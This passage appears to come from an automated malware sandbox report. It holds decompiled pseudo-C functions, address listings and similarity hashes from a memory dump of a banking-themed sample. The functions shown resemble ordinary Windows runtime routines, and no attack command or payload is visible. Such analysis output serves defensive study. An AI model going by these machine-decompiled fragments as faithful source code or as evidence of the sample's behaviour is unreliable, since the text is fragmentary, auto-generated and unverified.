					_t109 = _v44;
					if(_v44 != 0) {
						E01341074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E012B9730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E0133A80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E0133A854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0x1368b04 >> 0x14) + (_v44 -  *0x1368b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E01297D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E0133138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E01297D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E0132FEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0x1368724 & 0x00000008) != 0) {
						E013352F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E013415B5(0x1368ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}
























                                                                        0x01340eb7
                                                                        0x01340eb9
                                                                        0x01340ec0
                                                                        0x01340ec2
                                                                        0x01340ecd
                                                                        0x0134105b
                                                                        0x0134105b
                                                                        0x01341061
                                                                        0x01341066
                                                                        0x01341066
                                                                        0x0134106b
                                                                        0x01341073
                                                                        0x01341073
                                                                        0x01340ed3
                                                                        0x01340ed6
                                                                        0x01340edc
                                                                        0x01340ee0
                                                                        0x01340ee7
                                                                        0x01340ef0
                                                                        0x01340ef5
                                                                        0x01340efa
                                                                        0x01340efc
                                                                        0x01340efd
                                                                        0x01340f03
                                                                        0x01340f04
                                                                        0x01340f06
                                                                        0x01340f07
                                                                        0x01340f09
                                                                        0x01340f0e
                                                                        0x01340f14
                                                                        0x01340f23
                                                                        0x01340f2d
                                                                        0x01340f34
                                                                        0x01340f34
                                                                        0x01340f14
                                                                        0x01340f52
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01340f58
                                                                        0x01340f73
                                                                        0x01340f74
                                                                        0x01340f79
                                                                        0x01340f7d
                                                                        0x01340f80
                                                                        0x01340f86
                                                                        0x01340fab
                                                                        0x01340fb5
                                                                        0x01340fc6
                                                                        0x01340fd1
                                                                        0x01340fe3
                                                                        0x01340fd3
                                                                        0x01340fdc
                                                                        0x01340fdc
                                                                        0x01340feb
                                                                        0x01341009
                                                                        0x01341009
                                                                        0x01341015
                                                                        0x01341027
                                                                        0x01341017
                                                                        0x01341020
                                                                        0x01341020
                                                                        0x0134102f
                                                                        0x0134103c
                                                                        0x0134103c
                                                                        0x01341048
                                                                        0x01341050
                                                                        0x01341050
                                                                        0x01341055
                                                                        0x00000000
                                                                        0x01341055
                                                                        0x01340f88
                                                                        0x01340f9e
                                                                        0x01340fa2
                                                                        0x01340fa9
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01340fa9
                                                                        0x00000000

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: `
                                                                        • API String ID: 0-2679148245
                                                                        • Opcode ID: 0da6f35b07afec70e3b86f66b881fd4431f2ddfed7963fe858fa54558697bfce
                                                                        • Instruction ID: f4129c893a17a195f4ee374177e09b10f1c086f5e2deeb11f03cd7fdb43e33f8
                                                                        • Opcode Fuzzy Hash: 0da6f35b07afec70e3b86f66b881fd4431f2ddfed7963fe858fa54558697bfce
                                                                        • Instruction Fuzzy Hash: A651AE713047429FD325DF28D880B5BBBE9EBC4708F04092CFA9697290D671F849CB62
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012AF0BF Relevance: 1.4, Strings: 1, Instructions: 137COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 75%
                                                                        			E012AF0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E01294120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E012B9830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E012B9990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E012B95D0();
							goto L11;
						} else {
							_t109 = L01294620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								E012BF3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E012B95D0();
										L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

























                                                                        0x012af0d3
                                                                        0x012af0d9
                                                                        0x012af0e0
                                                                        0x012af0e7
                                                                        0x012af0f2
                                                                        0x012af0f4
                                                                        0x012af0f8
                                                                        0x012af100
                                                                        0x012af108
                                                                        0x012af10d
                                                                        0x012af115
                                                                        0x012af116
                                                                        0x012af11f
                                                                        0x012af123
                                                                        0x012af124
                                                                        0x012af12c
                                                                        0x012af130
                                                                        0x012af134
                                                                        0x012af13d
                                                                        0x012af144
                                                                        0x012af14b
                                                                        0x012af152
                                                                        0x012ebab0
                                                                        0x012ebab0
                                                                        0x012af158
                                                                        0x012af158
                                                                        0x012af15a
                                                                        0x012af160
                                                                        0x012af165
                                                                        0x012af166
                                                                        0x012af16f
                                                                        0x012af173
                                                                        0x012ebaa7
                                                                        0x012ebaa7
                                                                        0x012ebaab
                                                                        0x00000000
                                                                        0x012af179
                                                                        0x012af18d
                                                                        0x012af191
                                                                        0x012ebaa2
                                                                        0x00000000
                                                                        0x012af197
                                                                        0x012af19b
                                                                        0x012af1a2
                                                                        0x012af1a9
                                                                        0x012af1af
                                                                        0x012af1b2
                                                                        0x012af1b6
                                                                        0x012af1b9
                                                                        0x012af1c4
                                                                        0x012af1d8
                                                                        0x012af1df
                                                                        0x012af1e3
                                                                        0x012af1eb
                                                                        0x012af1ee
                                                                        0x012af1f4
                                                                        0x012af20f
                                                                        0x012ebab7
                                                                        0x012ebabb
                                                                        0x012ebacc
                                                                        0x012ebad1
                                                                        0x012af215
                                                                        0x012af218
                                                                        0x012af226
                                                                        0x012af22b
                                                                        0x00000000
                                                                        0x012af22b
                                                                        0x012af1f6
                                                                        0x012af1f6
                                                                        0x012af1f9
                                                                        0x012af1fb
                                                                        0x012af1fb
                                                                        0x012af1f4
                                                                        0x012af191
                                                                        0x012af173
                                                                        0x012af152
                                                                        0x012af203

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: @
                                                                        • API String ID: 0-2766056989
                                                                        • Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
                                                                        • Instruction ID: 279bd9bde4c2a7f389a3faa8c38b798380db5306f5b8103e1bf1990da9803ada
                                                                        • Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
                                                                        • Instruction Fuzzy Hash: 01519D71514711AFC720DF29C841A6BBBF8FF48750F00892EFA9587690E7B4E944CBA1
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012F3540 Relevance: 1.4, Strings: 1, Instructions: 130COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 75%
                                                                        			E012F3540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x136d360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E012B0BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E012F3706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E012BFA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E012F3540;
						E012BFA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E012CDDD0( &_v1072, _t75, _t79, _t80, _t81);
						E01300C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E012B97C0();
					}
					return E012BB640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E012F3971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E012F3884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E012BFA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E012B9650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E012F3787(_a4,  &_v352, _t80);
						}
					}
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E012B95D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}































                                                                        0x012f3552
                                                                        0x012f355a
                                                                        0x012f355d
                                                                        0x012f3566
                                                                        0x012f3567
                                                                        0x012f357e
                                                                        0x012f358f
                                                                        0x012f35a1
                                                                        0x012f35a5
                                                                        0x012f366b
                                                                        0x012f366b
                                                                        0x012f366d
                                                                        0x012f3672
                                                                        0x012f3679
                                                                        0x012f3685
                                                                        0x012f368d
                                                                        0x012f369d
                                                                        0x012f36a7
                                                                        0x012f36b8
                                                                        0x012f36c6
                                                                        0x012f36c7
                                                                        0x012f36dc
                                                                        0x012f36e1
                                                                        0x012f36e7
                                                                        0x012f36e9
                                                                        0x012f36e9
                                                                        0x012f3703
                                                                        0x012f3703
                                                                        0x012f35b5
                                                                        0x012f35c0
                                                                        0x012f35c4
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012f35ca
                                                                        0x012f35d7
                                                                        0x012f35e2
                                                                        0x012f35e6
                                                                        0x012f35e8
                                                                        0x012f35f5
                                                                        0x012f35fa
                                                                        0x012f3603
                                                                        0x012f3604
                                                                        0x012f3609
                                                                        0x012f360a
                                                                        0x012f3612
                                                                        0x012f3613
                                                                        0x012f361e
                                                                        0x012f3622
                                                                        0x012f3628
                                                                        0x012f362f
                                                                        0x012f362f
                                                                        0x012f3636
                                                                        0x012f3638
                                                                        0x012f363b
                                                                        0x012f3642
                                                                        0x012f3642
                                                                        0x012f3636
                                                                        0x012f3657
                                                                        0x012f3657
                                                                        0x012f365c
                                                                        0x012f3662
                                                                        0x012f3669
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: BinaryHash
                                                                        • API String ID: 0-2202222882
                                                                        • Opcode ID: e16160610d91d1a97a7b9d043296db1aaf51d06cbfac579bd1e9312c16ed2aeb
                                                                        • Instruction ID: 6c04d821e9307a46a9499ec03cd8507e827ebf314f4a3452f44e32e45f3a581a
                                                                        • Opcode Fuzzy Hash: e16160610d91d1a97a7b9d043296db1aaf51d06cbfac579bd1e9312c16ed2aeb
                                                                        • Instruction Fuzzy Hash: 8B4104B1D5052D9EDF21DA54CC84FEEB77CAB54754F0045A9EB09AB240DB309E88CF98
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 013405AC Relevance: 1.4, Strings: 1, Instructions: 115COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 71%
                                                                        			E013405AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E013407DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E012B9730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E0133A80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E0133A854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E01341293(_t79, _v40, E013407DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E01297D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E0133138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

















                                                                        0x013405c5
                                                                        0x013405ca
                                                                        0x013405d3
                                                                        0x013406db
                                                                        0x013406db
                                                                        0x013406dd
                                                                        0x013406e3
                                                                        0x013406e3
                                                                        0x013405dd
                                                                        0x013405e7
                                                                        0x013405f6
                                                                        0x01340600
                                                                        0x01340607
                                                                        0x01340610
                                                                        0x01340615
                                                                        0x0134061a
                                                                        0x0134061c
                                                                        0x0134061e
                                                                        0x01340624
                                                                        0x01340625
                                                                        0x01340627
                                                                        0x01340628
                                                                        0x01340631
                                                                        0x01340640
                                                                        0x0134064d
                                                                        0x01340654
                                                                        0x01340654
                                                                        0x01340631
                                                                        0x0134066d
                                                                        0x01340674
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x01340692
                                                                        0x0134069e
                                                                        0x013406b0
                                                                        0x013406a0
                                                                        0x013406a9
                                                                        0x013406a9
                                                                        0x013406b8
                                                                        0x013406d6
                                                                        0x013406d6
                                                                        0x00000000

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: `
                                                                        • API String ID: 0-2679148245
                                                                        • Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
                                                                        • Instruction ID: 64bf054688642a175a675ca281e8026c495a67fc35a969a495e71134d48e4a65
                                                                        • Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
                                                                        • Instruction Fuzzy Hash: 4E31E2323043066BE714DE28CD84F977BD9EBC4768F144229FB55EB280D674E904CB91
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012F3884 Relevance: 1.3, Strings: 1, Instructions: 95COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 72%
                                                                        			E012F3884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E012B9650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L01294620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E012B9650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}















                                                                        0x012f3893
                                                                        0x012f3896
                                                                        0x012f3899
                                                                        0x012f389f
                                                                        0x012f38a0
                                                                        0x012f38a4
                                                                        0x012f38a9
                                                                        0x012f38ac
                                                                        0x012f38ad
                                                                        0x012f38ae
                                                                        0x012f38af
                                                                        0x012f38b1
                                                                        0x012f38b4
                                                                        0x012f38bb
                                                                        0x012f38bc
                                                                        0x012f38bd
                                                                        0x012f38c4
                                                                        0x012f38c8
                                                                        0x012f38ca
                                                                        0x012f38ca
                                                                        0x012f38d5
                                                                        0x012f393e
                                                                        0x012f3940
                                                                        0x012f3942
                                                                        0x012f3952
                                                                        0x012f3954
                                                                        0x012f3961
                                                                        0x012f3961
                                                                        0x012f3967
                                                                        0x012f396e
                                                                        0x012f396e
                                                                        0x012f3947
                                                                        0x012f394c
                                                                        0x00000000
                                                                        0x012f394c
                                                                        0x012f38ea
                                                                        0x012f38ee
                                                                        0x012f38f8
                                                                        0x012f38f9
                                                                        0x012f38ff
                                                                        0x012f3900
                                                                        0x012f3902
                                                                        0x012f3903
                                                                        0x012f390b
                                                                        0x012f390f
                                                                        0x012f3950
                                                                        0x00000000
                                                                        0x012f3950
                                                                        0x012f3915
                                                                        0x012f391d
                                                                        0x012f391d
                                                                        0x012f3922
                                                                        0x012f3926
                                                                        0x00000000
                                                                        0x012f3928
                                                                        0x012f392b
                                                                        0x012f392b
                                                                        0x012f3935
                                                                        0x012f3937
                                                                        0x012f3937
                                                                        0x00000000
                                                                        0x012f3935
                                                                        0x012f3926
                                                                        0x012f38f0
                                                                        0x00000000

                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: true
                                                                        • Associated: 00000006.00000002.453368530.000000000136B000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        • Associated: 00000006.00000002.453382489.000000000136F000.00000040.00000800.00020000.00000000.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_6_2_1250000_Ziraat Bankasi Swift Mesaji20221129-34221.jbxd
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: BinaryName
                                                                        • API String ID: 0-215506332
                                                                        • Opcode ID: 2862f9fb6f33a701a432bc95a9fb84a1684aabcb3254e6e23abcaf682ef32241
                                                                        • Instruction ID: 30d49b7342f5466a8f7ad3f39f82354eeb91206e4a258cdab836b2132c2eef4c
                                                                        • Opcode Fuzzy Hash: 2862f9fb6f33a701a432bc95a9fb84a1684aabcb3254e6e23abcaf682ef32241
                                                                        • Instruction Fuzzy Hash: 7431B172D2151AAFEB15DA58C945EBBFBB8FB80B20F01417DEB15A7351D6309E00CBA0
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 012AD294 Relevance: 1.3, Strings: 1, Instructions: 93COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 33%
                                                                        			E012AD294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x136d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E01294120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E012BB640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E012B98D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E012B95D0();
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

































                                                                        0x012ad29c
                                                                        0x012ad2a6
                                                                        0x012ad2b1
                                                                        0x012ad2b5
                                                                        0x012ad2b6
                                                                        0x012ad2bc
                                                                        0x012ad2bd
                                                                        0x012ad2be
                                                                        0x012ad2bf
                                                                        0x012ad2c2
                                                                        0x012ad2c4
                                                                        0x012ad2cc
                                                                        0x012ad384
                                                                        0x012ad34b
                                                                        0x012ad34f
                                                                        0x012ad350
                                                                        0x012ad351
                                                                        0x012ad35c
                                                                        0x012ad35c
                                                                        0x012ad2d6
                                                                        0x012ad2da
                                                                        0x012ad2e1
                                                                        0x012ad361
                                                                        0x012ad369
                                                                        0x012ad36d
                                                                        0x012ad2e3
                                                                        0x012ad2e3
                                                                        0x012ad2e3
                                                                        0x012ad2e5
                                                                        0x012ad2ed
                                                                        0x012ad2f5
                                                                        0x012ad2fa
                                                                        0x012ad302
                                                                        0x012ad303
                                                                        0x012ad30b
                                                                        0x012ad30f
                                                                        0x012ad313
                                                                        0x012ad318
                                                                        0x012ad31c
                                                                        0x012ad320
                                                                        0x012ad379
                                                                        0x012ad37d
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x012eaffe
                                                                        0x012eb001
                                                                        0x012eb011
                                                                        0x00000000
                                                                        0x012ad322
